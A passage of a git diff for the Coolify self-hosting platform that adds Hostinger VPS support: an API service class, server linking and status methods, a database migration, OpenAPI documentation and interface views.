getListeners() { $teamId = $this->server->team_id ?? auth()->user()->currentTeam()->id; @@ -206,12 +223,14 @@ class Show extends Component $this->hetznerServerStatus = $this->server->hetzner_server_status; $this->vultrInstanceStatus = $this->server->vultr_instance_status; $this->digitalOceanDropletStatus = $this->server->digitalocean_droplet_status; + $this->hostingerVirtualMachineStatus = $this->server->hostinger_virtual_machine_status; $this->isValidating = $this->server->is_validating ?? false; // Load cloud provider tokens for linking $this->loadHetznerTokens(); $this->loadVultrTokens(); $this->loadDigitalOceanTokens(); + $this->loadHostingerTokens(); } catch (\Throwable $e) { return handleError($e, $this); @@ -658,6 +677,30 @@ class Show extends Component } } + public function checkHostingerVirtualMachineStatus(bool $manual = false): mixed + { + try { + $this->authorize('view', $this->server); + if (! $this->server->hostinger_virtual_machine_id || ! $this->server->cloudProviderToken) { + $this->dispatch('error', 'This server is not associated with a Hostinger VPS or token.'); + + return null; + } + + $this->hostingerVirtualMachineStatus = $this->server->refreshHostingerState(); + $this->server->refresh(); + $this->ip = $this->server->ip; + + if ($manual) { + $this->dispatch('success', 'VPS status refreshed: '.ucfirst($this->hostingerVirtualMachineStatus ?? 'unknown')); + } + + return null; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function handleServerValidated($event = null) { // Check if event is for this server @@ -679,6 +722,7 @@ class Show extends Component $this->loadHetznerTokens(); $this->loadVultrTokens(); $this->loadDigitalOceanTokens(); + $this->loadHostingerTokens(); $this->dispatch('refreshServerShow'); $this->dispatch('refreshServer'); @@ -750,6 +794,30 @@ class Show extends Component } } + public function startHostingerVirtualMachine(): mixed + { + try { + $this->authorize('update', $this->server); + if (! $this->server->hostinger_virtual_machine_id || ! $this->server->cloudProviderToken) { + $this->dispatch('error', 'This server is not associated with a Hostinger VPS or token.'); + + return null; + } + + $hostingerService = new HostingerService($this->server->cloudProviderToken->token); + $hostingerService->startVirtualMachine((int) $this->server->hostinger_virtual_machine_id); + + $this->hostingerVirtualMachineStatus = 'starting'; + $this->server->update(['hostinger_virtual_machine_status' => 'starting']); + $this->hostingerVirtualMachineManuallyStarted = true; + $this->dispatch('success', 'Hostinger VPS is starting...'); + + return null; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function refreshServerMetadata(): void { try { @@ -804,6 +872,13 @@ class Show extends Component ->get(); } + public function loadHostingerTokens(): void + { + $this->availableHostingerTokens = CloudProviderToken::ownedByCurrentTeam() + ->where('provider', 'hostinger') + ->get(); + } + #[Computed] public function limaStartCommand(): ?string { @@ -1077,6 +1152,136 @@ class Show extends Component } } + public function searchHostingerVirtualMachine(): void + { + $this->hostingerSearchError = null; + $this->hostingerNoMatchFound = false; + $this->matchedHostingerVirtualMachine = null; + + if (! $this->selectedHostingerTokenId) { + $this->hostingerSearchError = 'Please select a Hostinger token.'; + + return; + } + + try { + $this->authorize('update', $this->server); + $token = $this->availableHostingerTokens->firstWhere('id', $this->selectedHostingerTokenId); + + if (! $token) { + $this->hostingerSearchError = 'Invalid token selected.'; + + return; + } + + $matched = (new HostingerService($token->token))->findVirtualMachineByIp($this->server->ip); + + if ($matched) { + $this->matchedHostingerVirtualMachine = $matched; + } else { + $this->hostingerNoMatchFound = true; + } + } catch (\Throwable $e) { + $this->hostingerSearchError = 'Failed to search Hostinger virtual machines: '.$e->getMessage(); + } + } + + public function searchHostingerVirtualMachineById(): void + { + $this->hostingerSearchError = null; + $this->hostingerNoMatchFound = false; + $this->matchedHostingerVirtualMachine = null; + + if (! $this->selectedHostingerTokenId) { + $this->hostingerSearchError = 'Please select a Hostinger token first.'; + + return; + } + + if (! $this->manualHostingerVirtualMachineId) { + $this->hostingerSearchError = 'Please enter a Hostinger Virtual Machine ID.'; + + return; + } + + try { + $this->authorize('update', $this->server); + $token = $this->availableHostingerTokens->firstWhere('id', $this->selectedHostingerTokenId); + + if (! $token) { + $this->hostingerSearchError = 'Invalid token selected.'; + + return; + } + + $virtualMachine = (new HostingerService($token->token)) + ->getVirtualMachine((int) $this->manualHostingerVirtualMachineId); + + if ($virtualMachine) { + $this->matchedHostingerVirtualMachine = $virtualMachine; + } else { + $this->hostingerNoMatchFound = true; + } + } catch (\Throwable $e) { + $this->hostingerSearchError = 'Failed to fetch Hostinger virtual machine: '.$e->getMessage(); + } + } + + public function linkToHostinger(): mixed + { + if (! $this->matchedHostingerVirtualMachine) { + $this->dispatch('error', 'No Hostinger virtual machine selected.'); + + return null; + } + + try { + $this->authorize('update', $this->server); + $token = $this->availableHostingerTokens->firstWhere('id', $this->selectedHostingerTokenId); + + if (! $token) { + $this->dispatch('error', 'Invalid token selected.'); + + return null; + } + + $hostingerService = new HostingerService($token->token); + $virtualMachine = $hostingerService->getVirtualMachine((int) $this->matchedHostingerVirtualMachine['id']); + + if (! $virtualMachine) { + $this->dispatch('error', 'Could not find Hostinger virtual machine with ID: '.$this->matchedHostingerVirtualMachine['id']); + + return null; + } + + $updates = [ + 'cloud_provider_token_id' => $this->selectedHostingerTokenId, + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'hostinger_virtual_machine_status' => $virtualMachine['state'] ?? null, + ]; + $ip = $hostingerService->getPublicIpAddress($virtualMachine); + if ($ip) { + $updates['ip'] = $ip; + } + + $this->server->update($updates); + $this->hostingerVirtualMachineStatus = $virtualMachine['state'] ?? null; + $this->matchedHostingerVirtualMachine = null; + $this->selectedHostingerTokenId = null; + $this->manualHostingerVirtualMachineId = null; + $this->hostingerNoMatchFound = false; + $this->hostingerSearchError = null; + + $this->dispatch('success', 'Server successfully linked to Hostinger!'); + $this->dispatch('close-modal'); + $this->dispatch('refreshServerShow'); + + return null; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function searchVultrInstance(): void { $this->vultrSearchError = null; diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index 33b77418d6..407f5f31d2 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -145,6 +145,18 @@ class ValidateAndInstall extends Component } } + if ($this->server->hostinger_virtual_machine_id) { + $status = $this->server->refreshHostingerState(); + $this->server->refresh(); + + if (in_array($status, ['stopping', 'stopped', 'suspending', 'suspended', 'destroying', 'destroyed', 'error'], true)) { + $this->error = 'Hostinger VPS is '.($status ?? 'not running').'. Power it on before validating.'; + $this->server->update(['validation_logs' => $this->error]); + + return; + } + } + ['uptime' => $this->uptime, 'error' => $error] = $this->server->validateConnection(); if (! $this->uptime) { $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); diff --git a/app/Mcp/Concerns/BuildsResponse.php b/app/Mcp/Concerns/BuildsResponse.php index 280e26b9e7..f6311f22bb 100644 --- a/app/Mcp/Concerns/BuildsResponse.php +++ b/app/Mcp/Concerns/BuildsResponse.php @@ -24,7 +24,7 @@ trait BuildsResponse // raw IDs / morph types (uuid is the public identifier) 'id', 'team_id', 'tokenable_id', 'tokenable_type', 'server_id', 'private_key_id', 'cloud_provider_token_id', - 'hetzner_server_id', 'digitalocean_droplet_id', 'environment_id', 'destination_id', + 'hetzner_server_id', 'digitalocean_droplet_id', 'hostinger_virtual_machine_id', 'environment_id', 'destination_id', 'source_id', 'repository_project_id', 'application_id', 'service_id', 'project_id', 'parent_id', 'resourceable', 'resourceable_id', 'resourceable_type', diff --git a/app/Models/Server.php b/app/Models/Server.php index b7e4e9ba53..bc20bc07b8 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -21,6 +21,7 @@ use App\Notifications\Server\Reachable; use App\Notifications\Server\Unreachable; use App\Services\DigitalOceanService; use App\Services\HetznerService; +use App\Services\HostingerService; use App\Services\VultrService; use App\Support\ValidationPatterns; use App\Traits\Auditable; @@ -345,6 +346,8 @@ class Server extends BaseModel 'vultr_instance_status', 'digitalocean_droplet_id', 'digitalocean_droplet_status', + 'hostinger_virtual_machine_id', + 'hostinger_virtual_machine_status', 'is_validating', 'validation_logs', 'detected_traefik_version', @@ -523,6 +526,27 @@ class Server extends BaseModel return $status; } + public function refreshHostingerState(): ?string + { + if (! $this->hostinger_virtual_machine_id || ! $this->cloudProviderToken || $this->cloudProviderToken->provider !== 'hostinger') { + return $this->hostinger_virtual_machine_status; + } + + $hostingerService = new HostingerService($this->cloudProviderToken->token); + $virtualMachine = $hostingerService->getVirtualMachine((int) $this->hostinger_virtual_machine_id); + + if (empty($virtualMachine)) { + return $this->hostinger_virtual_machine_status; + } + + $status = $virtualMachine['state'] ?? null; + $ip = $hostingerService->getPublicIpAddress($virtualMachine); + $this->persistProviderState(['hostinger_virtual_machine_status' => $status]); + $this->backfillPlaceholderIp($ip); + + return $status; + } + protected function isCoolifyHost(): Attribute { return Attribute::make( diff --git a/app/Services/HostingerService.php b/app/Services/HostingerService.php new file mode 100644 index 0000000000..d90f28ef27 --- /dev/null +++ b/app/Services/HostingerService.php @@ -0,0 +1,224 @@ +token) + ->acceptJson() + ->asJson() + ->timeout(30) + ->connectTimeout(10) + ->retry( + $method === 'get' ? 3 : 1, + fn (int $attempt) => $attempt * 100, + fn (\Exception $exception) => ! $exception instanceof RequestException || $exception->response->serverError(), + throw: false + ) + ->{$method}($this->baseUrl.$endpoint, $data); + + if (! $response->successful()) { + if ($response->status() === 429) { + throw new RateLimitException( + 'Rate limit exceeded. Please try again later.', + $response->header('Retry-After') !== null ? (int) $response->header('Retry-After') : null + ); + } + + $message = $response->json('message') + ?? $response->json('error') + ?? 'Unknown error'; + + throw new \Exception('Hostinger API error: '.$message, $response->status()); + } + + return $response->json() ?? []; + } + + public function getDataCenters(): array + { + return $this->request('get', '/api/vps/v1/data-centers'); + } + + public function getTemplates(): array + { + return $this->request('get', '/api/vps/v1/templates'); + } + + /** + * Get the KVM VPS plans. Game Panel plans share the VPS category but are not offered for Coolify servers. + */ + public function getCatalogItems(): array + { + return collect($this->request('get', '/api/billing/v1/catalog', ['category' => 'VPS'])) + ->filter(fn ($item) => is_array($item) && preg_match('/-vps-kvm\d+$/', (string) ($item['id'] ?? '')) === 1) + ->values() + ->all(); + } + + public function getPublicKeys(): array + { + return $this->request('get', '/api/vps/v1/public-keys')['data'] ?? []; + } + + public function getPostInstallScripts(): array + { + return $this->request('get', '/api/vps/v1/post-install-scripts')['data'] ?? []; + } + + public function attachPublicKeys(int $virtualMachineId, array $publicKeyIds): array + { + return $this->request('post', "/api/vps/v1/public-keys/attach/{$virtualMachineId}", [ + 'ids' => array_map('intval', array_values($publicKeyIds)), + ]); + } + + public function purchaseVirtualMachine(array $params): array + { + // Hostinger accepts only a fully qualified hostname and uses its own default otherwise. + if (! str_contains($params['setup']['hostname'] ?? '', '.')) { + unset($params['setup']['hostname']); + } + + $existingVirtualMachineIds = collect($this->getVirtualMachines())->pluck('id')->all(); + + try { + $response = $this->request('post', '/api/vps/v1/virtual-machines', $params); + } catch (\Throwable $e) { + // Hostinger can charge for the VPS before its setup fails, so keep the VPS if one was created. + $virtualMachine = $this->findPurchasedVirtualMachine($existingVirtualMachineIds); + if (! $virtualMachine) { + throw $e; + } + + logger()->warning('Hostinger charged for a VPS but its setup failed', [ + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'error' => $e->getMessage(), + ]); + + return $this->setupPurchasedVirtualMachine($virtualMachine, $params['setup']); + } + + if (empty($response['virtual_machine']['id'])) { + logger()->warning('Hostinger VPS order did not return a virtual machine', Arr::only($response, ['id', 'subscription_id', 'status', 'message'])); + + throw new \Exception('Hostinger order '.($response['id'] ?? 'unknown').' is waiting for payment. Finish the VPS setup in hPanel.', 202); + } + + return $response['virtual_machine']; + } + + private function findPurchasedVirtualMachine(array $existingVirtualMachineIds): ?array + { + try { + return collect($this->getVirtualMachines()) + ->first(fn (array $virtualMachine) => ! in_array($virtualMachine['id'] ?? null, $existingVirtualMachineIds, true)); + } catch (\Throwable) { + return null; + } + } + + private function setupPurchasedVirtualMachine(array $virtualMachine, array $setup): array + { + if (($virtualMachine['state'] ?? null) !== 'initial') { + return $virtualMachine; + } + + try { + return $this->request('post', $this->virtualMachineEndpoint((int) $virtualMachine['id']).'/setup', $setup); + } catch (\Throwable $e) { + logger()->warning('Hostinger VPS setup retry failed', [ + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'error' => $e->getMessage(), + ]); + + return $virtualMachine; + } + } + + public function getVirtualMachine(int $virtualMachineId): array + { + return $this->request('get', $this->virtualMachineEndpoint($virtualMachineId)); + } + + public function getVirtualMachines(): array + { + return $this->request('get', '/api/vps/v1/virtual-machines'); + } + + /** + * Briefly wait for a public IP. VPS setup usually takes longer, so the server status check fills in the IP later. + */ + public function waitForPublicIp(array $virtualMachine, int $attempts = 10, int $sleepMilliseconds = 1000): array + { + if ($this->getPublicIpAddress($virtualMachine) || empty($virtualMachine['id'])) { + return $virtualMachine; + } + + for ($attempt = 0; $attempt < $attempts; $attempt++) { + usleep($sleepMilliseconds * 1000); + + $virtualMachine = $this->getVirtualMachine((int) $virtualMachine['id']); + + if ($this->getPublicIpAddress($virtualMachine)) { + return $virtualMachine; + } + } + + return $virtualMachine; + } + + public function getPublicIpAddress(array $virtualMachine): ?string + { + foreach (['ipv4', 'ipv6'] as $version) { + foreach ($virtualMachine[$version] ?? [] as $ipAddress) { + if (filled($ipAddress['address'] ?? null)) { + return $ipAddress['address']; + } + } + } + + return null; + } + + public function disableAutoRenewal(string $subscriptionId): array + { + return $this->request('delete', "/api/billing/v1/subscriptions/{$subscriptionId}/auto-renewal/disable"); + } + + public function startVirtualMachine(int $virtualMachineId): array + { + return $this->request('post', $this->virtualMachineEndpoint($virtualMachineId).'/start'); + } + + public function findVirtualMachineByIp(string $ip): ?array + { + foreach ($this->getVirtualMachines() as $virtualMachine) { + foreach (['ipv4', 'ipv6'] as $version) { + foreach ($virtualMachine[$version] ?? [] as $ipAddress) { + if (($ipAddress['address'] ?? null) === $ip) { + return $virtualMachine; + } + } + } + } + + return null; + } + + private function virtualMachineEndpoint(int $virtualMachineId): string + { + return '/api/vps/v1/virtual-machines/'.$virtualMachineId; + } +} diff --git a/database/migrations/2026_07_10_210239_add_hostinger_virtual_machine_fields_to_servers_table.php b/database/migrations/2026_07_10_210239_add_hostinger_virtual_machine_fields_to_servers_table.php new file mode 100644 index 0000000000..496b2a3bce --- /dev/null +++ b/database/migrations/2026_07_10_210239_add_hostinger_virtual_machine_fields_to_servers_table.php @@ -0,0 +1,32 @@ +bigInteger('hostinger_virtual_machine_id')->nullable()->after('digitalocean_droplet_status'); + $table->string('hostinger_virtual_machine_status')->nullable()->after('hostinger_virtual_machine_id'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn([ + 'hostinger_virtual_machine_status', + 'hostinger_virtual_machine_id', + ]); + }); + } +}; diff --git a/openapi.json b/openapi.json index 572091bba7..192d6f49b9 100644 --- a/openapi.json +++ b/openapi.json @@ -6318,7 +6318,8 @@ "enum": [ "hetzner", "digitalocean", - "vultr" + "vultr", + "hostinger" ] }, "team_id": { @@ -6377,7 +6378,8 @@ "enum": [ "hetzner", "digitalocean", - "vultr" + "vultr", + "hostinger" ], "example": "hetzner", "description": "The cloud provider." @@ -12873,6 +12875,189 @@ ] } }, + "\/hostinger\/data-centers": { + "get": { + "tags": [ + "Hostinger" + ], + "summary": "Get Hostinger VPS data centers", + "operationId": "get-hostinger-data-centers", + "responses": { + "200": { + "description": "List of Hostinger VPS data centers." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "403": { + "description": "Hostinger denied access to this resource for the cloud provider token." + }, + "422": { + "description": "Validation failed." + }, + "429": { + "description": "Hostinger rate limit exceeded." + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/hostinger\/catalog": { + "get": { + "tags": [ + "Hostinger" + ], + "summary": "Get Hostinger VPS plans and prices", + "operationId": "get-hostinger-catalog", + "responses": { + "200": { + "description": "List of Hostinger VPS plans and prices." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "403": { + "description": "Hostinger denied access to this resource for the cloud provider token." + }, + "422": { + "description": "Validation failed." + }, + "429": { + "description": "Hostinger rate limit exceeded." + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/hostinger\/templates": { + "get": { + "tags": [ + "Hostinger" + ], + "summary": "Get Hostinger VPS operating system templates", + "operationId": "get-hostinger-templates", + "responses": { + "200": { + "description": "List of Hostinger VPS templates." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "403": { + "description": "Hostinger denied access to this resource for the cloud provider token." + }, + "422": { + "description": "Validation failed." + }, + "429": { + "description": "Hostinger rate limit exceeded." + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/hostinger\/ssh-keys": { + "get": { + "tags": [ + "Hostinger" + ], + "summary": "Get Hostinger account SSH keys", + "operationId": "get-hostinger-ssh-keys", + "responses": { + "200": { + "description": "List of Hostinger account SSH keys." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "403": { + "description": "Hostinger denied access to this resource for the cloud provider token." + }, + "422": { + "description": "Validation failed." + }, + "429": { + "description": "Hostinger rate limit exceeded." + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/hostinger\/post-install-scripts": { + "get": { + "tags": [ + "Hostinger" + ], + "summary": "Get Hostinger post-install scripts", + "operationId": "get-hostinger-post-install-scripts", + "responses": { + "200": { + "description": "List of Hostinger post-install scripts." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "403": { + "description": "Hostinger denied access to this resource for the cloud provider token." + }, + "422": { + "description": "Validation failed." + }, + "429": { + "description": "Hostinger rate limit exceeded." + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/servers\/hostinger": { + "post": { + "tags": [ + "Hostinger" + ], + "summary": "Purchase a Hostinger VPS and create a linked server", + "operationId": "create-hostinger-server", + "responses": { + "201": { + "description": "Hostinger VPS purchased and linked to a Coolify server." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "422": { + "description": "Validation failed." + }, + "429": { + "description": "Hostinger rate limit exceeded." + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/settings\/email": { "get": { "tags": [ @@ -25077,6 +25262,10 @@ "name": "Hetzner", "description": "Hetzner" }, + { + "name": "Hostinger", + "description": "Hostinger" + }, { "name": "Settings", "description": "Settings" diff --git a/openapi.yaml b/openapi.yaml index 0884149b38..5983cbe38d 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -4075,7 +4075,7 @@ paths: schema: type: array items: - properties: { uuid: { type: string }, name: { type: string }, provider: { type: string, enum: [hetzner, digitalocean, vultr] }, team_id: { type: integer }, servers_count: { type: integer }, created_at: { type: string }, updated_at: { type: string } } + properties: { uuid: { type: string }, name: { type: string }, provider: { type: string, enum: [hetzner, digitalocean, vultr, hostinger] }, team_id: { type: integer }, servers_count: { type: integer }, created_at: { type: string }, updated_at: { type: string } } type: object '401': $ref: '#/components/responses/401' @@ -4103,7 +4103,7 @@ paths: properties: provider: type: string - enum: [hetzner, digitalocean, vultr] + enum: [hetzner, digitalocean, vultr, hostinger] example: hetzner description: 'The cloud provider.' token: @@ -8247,6 +8247,124 @@ paths: security: - bearerAuth: [] + /hostinger/data-centers: + get: + tags: + - Hostinger + summary: 'Get Hostinger VPS data centers' + operationId: get-hostinger-data-centers + responses: + '200': + description: 'List of Hostinger VPS data centers.' + '401': + $ref: '#/components/responses/401' + '403': + description: 'Hostinger denied access to this resource for the cloud provider token.' + '422': + description: 'Validation failed.' + '429': + description: 'Hostinger rate limit exceeded.' + security: + - + bearerAuth: [] + /hostinger/catalog: + get: + tags: + - Hostinger + summary: 'Get Hostinger VPS plans and prices' + operationId: get-hostinger-catalog + responses: + '200': + description: 'List of Hostinger VPS plans and prices.' + '401': + $ref: '#/components/responses/401' + '403': + description: 'Hostinger denied access to this resource for the cloud provider token.' + '422': + description: 'Validation failed.' + '429': + description: 'Hostinger rate limit exceeded.' + security: + - + bearerAuth: [] + /hostinger/templates: + get: + tags: + - Hostinger + summary: 'Get Hostinger VPS operating system templates' + operationId: get-hostinger-templates + responses: + '200': + description: 'List of Hostinger VPS templates.' + '401': + $ref: '#/components/responses/401' + '403': + description: 'Hostinger denied access to this resource for the cloud provider token.' + '422': + description: 'Validation failed.' + '429': + description: 'Hostinger rate limit exceeded.' + security: + - + bearerAuth: [] + /hostinger/ssh-keys: + get: + tags: + - Hostinger + summary: 'Get Hostinger account SSH keys' + operationId: get-hostinger-ssh-keys + responses: + '200': + description: 'List of Hostinger account SSH keys.' + '401': + $ref: '#/components/responses/401' + '403': + description: 'Hostinger denied access to this resource for the cloud provider token.' + '422': + description: 'Validation failed.' + '429': + description: 'Hostinger rate limit exceeded.' + security: + - + bearerAuth: [] + /hostinger/post-install-scripts: + get: + tags: + - Hostinger + summary: 'Get Hostinger post-install scripts' + operationId: get-hostinger-post-install-scripts + responses: + '200': + description: 'List of Hostinger post-install scripts.' + '401': + $ref: '#/components/responses/401' + '403': + description: 'Hostinger denied access to this resource for the cloud provider token.' + '422': + description: 'Validation failed.' + '429': + description: 'Hostinger rate limit exceeded.' + security: + - + bearerAuth: [] + /servers/hostinger: + post: + tags: + - Hostinger + summary: 'Purchase a Hostinger VPS and create a linked server' + operationId: create-hostinger-server + responses: + '201': + description: 'Hostinger VPS purchased and linked to a Coolify server.' + '401': + $ref: '#/components/responses/401' + '422': + description: 'Validation failed.' + '429': + description: 'Hostinger rate limit exceeded.' + security: + - + bearerAuth: [] /settings/email: get: tags: @@ -16078,6 +16196,9 @@ tags: - name: Hetzner description: Hetzner + - + name: Hostinger + description: Hostinger - name: Settings description: Settings diff --git a/resources/views/components/hostinger-icon.blade.php b/resources/views/components/hostinger-icon.blade.php new file mode 100644 index 0000000000..9616c8d965 --- /dev/null +++ b/resources/views/components/hostinger-icon.blade.php @@ -0,0 +1,7 @@ + + Hostinger + + diff --git a/resources/views/components/server/sidebar.blade.php b/resources/views/components/server/sidebar.blade.php index f444210e00..ed3a19435c 100644 --- a/resources/views/components/server/sidebar.blade.php +++ b/resources/views/components/server/sidebar.blade.php @@ -41,7 +41,7 @@ 'active' => $activeMenu === 'cloud-provider-token', 'icon' => 'subscription', 'group' => 'Settings', - 'visible' => (bool) ($server->hetzner_server_id || $server->vultr_instance_id), + 'visible' => (bool) ($server->hetzner_server_id || $server->vultr_instance_id || $server->digitalocean_droplet_id || $server->hostinger_virtual_machine_id), ], [ 'label' => 'CA Certificate', diff --git a/resources/views/livewire/boarding/index.blade.php b/resources/views/livewire/boarding/index.blade.php index bc22715931..71c065dac3 100644 --- a/resources/views/livewire/boarding/index.blade.php +++ b/resources/views/livewire/boarding/index.blade.php @@ -207,6 +207,23 @@ + + +

+
+ +
+

Hostinger

+

+ Deploy servers directly from your Hostinger account. +

+
+
+
+ + + @endif diff --git a/resources/views/livewire/security/cloud-provider-token-form.blade.php b/resources/views/livewire/security/cloud-provider-token-form.blade.php index 271ad7367d..d6f14e188d 100644 --- a/resources/views/livewire/security/cloud-provider-token-form.blade.php +++ b/resources/views/livewire/security/cloud-provider-token-form.blade.php @@ -9,6 +9,7 @@ get providerConsoleUrl() { if (this.selectedProvider === 'hetzner') return 'https://console.hetzner.com/projects'; if (this.selectedProvider === 'vultr') return 'https://console.vultr.com/user/apiaccess/'; + if (this.selectedProvider === 'hostinger') return 'https://hpanel.hostinger.com/profile/api'; return 'https://cloud.digitalocean.com/account/api/tokens'; } }"> @@ -18,6 +19,7 @@ ['value' => 'hetzner', 'label' => 'Hetzner'], ['value' => 'digitalocean', 'label' => 'DigitalOcean'], ['value' => 'vultr', 'label' => 'Vultr'], + ['value' => 'hostinger', 'label' => 'Hostinger'], ]" /> @else diff --git a/resources/views/livewire/server/cloud-provider-token/show.blade.php b/resources/views/livewire/server/cloud-provider-token/show.blade.php index 5c4fe5d98f..e4fe7c19d1 100644 --- a/resources/views/livewire/server/cloud-provider-token/show.blade.php +++ b/resources/views/livewire/server/cloud-provider-token/show.blade.php @@ -10,7 +10,7 @@
- @if ($server->hetzner_server_id || $server->vultr_instance_id) + @if ($server->hetzner_server_id || $server->vultr_instance_id || $server->digitalocean_droplet_id || $server->hostinger_virtual_machine_id) @@ -67,7 +67,7 @@ @endif diff --git a/resources/views/livewire/server/create.blade.php b/resources/views/livewire/server/create.blade.php index d1530985e5..3bed1f90d0 100644 --- a/resources/views/livewire/server/create.blade.php +++ b/resources/views/livewire/server/create.blade.php @@ -50,7 +50,7 @@

Create a server with a cloud provider.

@@ -113,6 +127,10 @@ + @elseif ($selectedType === 'hostinger') + @else diff --git a/resources/views/livewire/server/delete.blade.php b/resources/views/livewire/server/delete.blade.php index fb5e9c3172..2e96838e63 100644 --- a/resources/views/livewire/server/delete.blade.php +++ b/resources/views/livewire/server/delete.blade.php @@ -21,12 +21,28 @@ It currently contains managed resources. Enable force deletion in the confirmation only if those resources should also be removed. @endif + @if ($server->hostinger_virtual_machine_id) + Hostinger deletes the VPS only at the end of its paid period, and only if you select this in the confirmation dialog. + Manage the VPS and billing in hPanel. + @endif

Type the server name in the confirmation dialog to continue.

+ @php + $deleteActions = ['This server will be permanently deleted from Coolify.']; + $deleteWarningMessage = null; + if ($server->hostinger_virtual_machine_id) { + $deleteWarningMessage = 'Hostinger deletes a VPS only at the end of its paid period.
' + .'If you select to delete the VPS from Hostinger, Coolify turns off its auto-renewal. ' + .'The VPS keeps running until the paid period ends. Then Hostinger deletes it with all its data. ' + .'To delete it now or to request a refund, ' + .'cancel the VPS in hPanel.'; + } + @endphp diff --git a/resources/views/livewire/server/new/by-hostinger.blade.php b/resources/views/livewire/server/new/by-hostinger.blade.php new file mode 100644 index 0000000000..34010ba5d9 --- /dev/null +++ b/resources/views/livewire/server/new/by-hostinger.blade.php @@ -0,0 +1,147 @@ +
+ @if ($limit_reached) + + @elseif ($current_step === 1) +
+ +

+ New to Hostinger? + Create an account + through Coolify's affiliate link. +

+
+ @elseif ($current_step === 2) +
+ @if ($loading_data) + +
+ +
+
+ @elseif ($provider_data_error) + + +
{{ $provider_data_error }}
+
+ +
+ @else + @php + $dataCenterOptions = collect($data_centers)->map(fn ($dataCenter) => [ + 'value' => $dataCenter['id'], + 'label' => ($dataCenter['city'] ?? $dataCenter['name'] ?? $dataCenter['id']) + . (!empty($dataCenter['location']) ? ' · ' . strtoupper($dataCenter['location']) : ''), + ])->values()->all(); + $priceOptions = collect($this->priceOptions)->map(fn ($price) => [ + 'value' => $price['id'], + 'label' => $this->priceLabel($price), + ])->values()->all(); + $templateOption = fn ($template) => [ + 'value' => $template['id'], + 'label' => $template['name'] ?? $template['description'] ?? $template['id'], + ]; + $osTemplateOptions = collect($this->osTemplates)->map($templateOption)->values()->all(); + $appTemplateOptions = collect($this->appTemplates)->map($templateOption)->values()->all(); + $privateKeyOptions = $private_keys->map(fn ($key) => [ + 'value' => $key->id, + 'label' => $key->name, + ])->values()->all(); + $postInstallScriptOptions = collect($post_install_scripts)->map(fn ($script) => [ + 'value' => $script['id'], + 'label' => $script['name'], + ])->values()->all(); + @endphp + +
+ + + + + +
+
+ +
+ + + + + @if ($private_keys->isEmpty()) +
+ +
+ A private key is required. + + + + + + +
+
+ @else + + @endif +
+
+ + +
+
+ +
+ + @foreach ($hostinger_public_keys as $publicKey) + + @endforeach + + @if ($post_install_scripts) + + @endif + + The VPS is purchased with your Hostinger account's default payment method. Review the + selected plan and billing period before continuing. + +
+
+
+ @endif +
+ @endif +
diff --git a/resources/views/livewire/server/show.blade.php b/resources/views/livewire/server/show.blade.php index 565fda89a3..baf2508069 100644 --- a/resources/views/livewire/server/show.blade.php +++ b/resources/views/livewire/server/show.blade.php @@ -1,5 +1,5 @@
+ x-init="@if ($server->hetzner_server_id && $server->cloudProviderToken && !$hetznerServerStatus) $wire.checkHetznerServerStatus(); @endif @if ($server->vultr_instance_id && $server->cloudProviderToken) $wire.checkVultrInstanceStatus(); @endif @if ($server->digitalocean_droplet_id && $server->cloudProviderToken && !$digitalOceanDropletStatus) $wire.checkDigitalOceanDropletStatus(); @endif @if ($server->hostinger_virtual_machine_id && $server->cloudProviderToken && !$hostingerVirtualMachineStatus) $wire.checkHostingerVirtualMachineStatus(); @endif"> {{ data_get_str($server, 'name')->limit(24) }} | Server | Coolify @@ -18,23 +18,26 @@ filled($server->hetzner_server_id) => 'Hetzner', filled($server->digitalocean_droplet_id) => 'DigitalOcean', filled($server->vultr_instance_id) => 'Vultr', + filled($server->hostinger_virtual_machine_id) => 'Hostinger', default => null, }; $providerStatus = match ($provider) { 'Hetzner' => $hetznerServerStatus, 'DigitalOcean' => $digitalOceanDropletStatus, 'Vultr' => $vultrInstanceStatus, + 'Hostinger' => $hostingerVirtualMachineStatus, default => null, }; $providerStatusType = match (true) { in_array($providerStatus, ['running', 'active']) => 'success', - in_array($providerStatus, ['starting', 'initializing', 'pending', 'new']) => 'warning', - in_array($providerStatus, ['off', 'stopped', 'suspended', 'archive', 'deleted']) => 'error', + in_array($providerStatus, ['starting', 'initializing', 'pending', 'new', 'initial', 'creating', 'unsuspending', 'recreating', 'restoring']) => 'warning', + in_array($providerStatus, ['off', 'stopped', 'suspended', 'archive', 'deleted', 'destroyed', 'error']) => 'error', default => 'neutral', }; $hasLinkableCloudProviders = (!$server->hetzner_server_id && $availableHetznerTokens->isNotEmpty()) || (!$server->vultr_instance_id && $availableVultrTokens->isNotEmpty()) - || (!$server->digitalocean_droplet_id && $availableDigitalOceanTokens->isNotEmpty()); + || (!$server->digitalocean_droplet_id && $availableDigitalOceanTokens->isNotEmpty()) + || (!$server->hostinger_virtual_machine_id && $availableHostingerTokens->isNotEmpty()); $hetznerMatch = $matchedHetznerServer ? 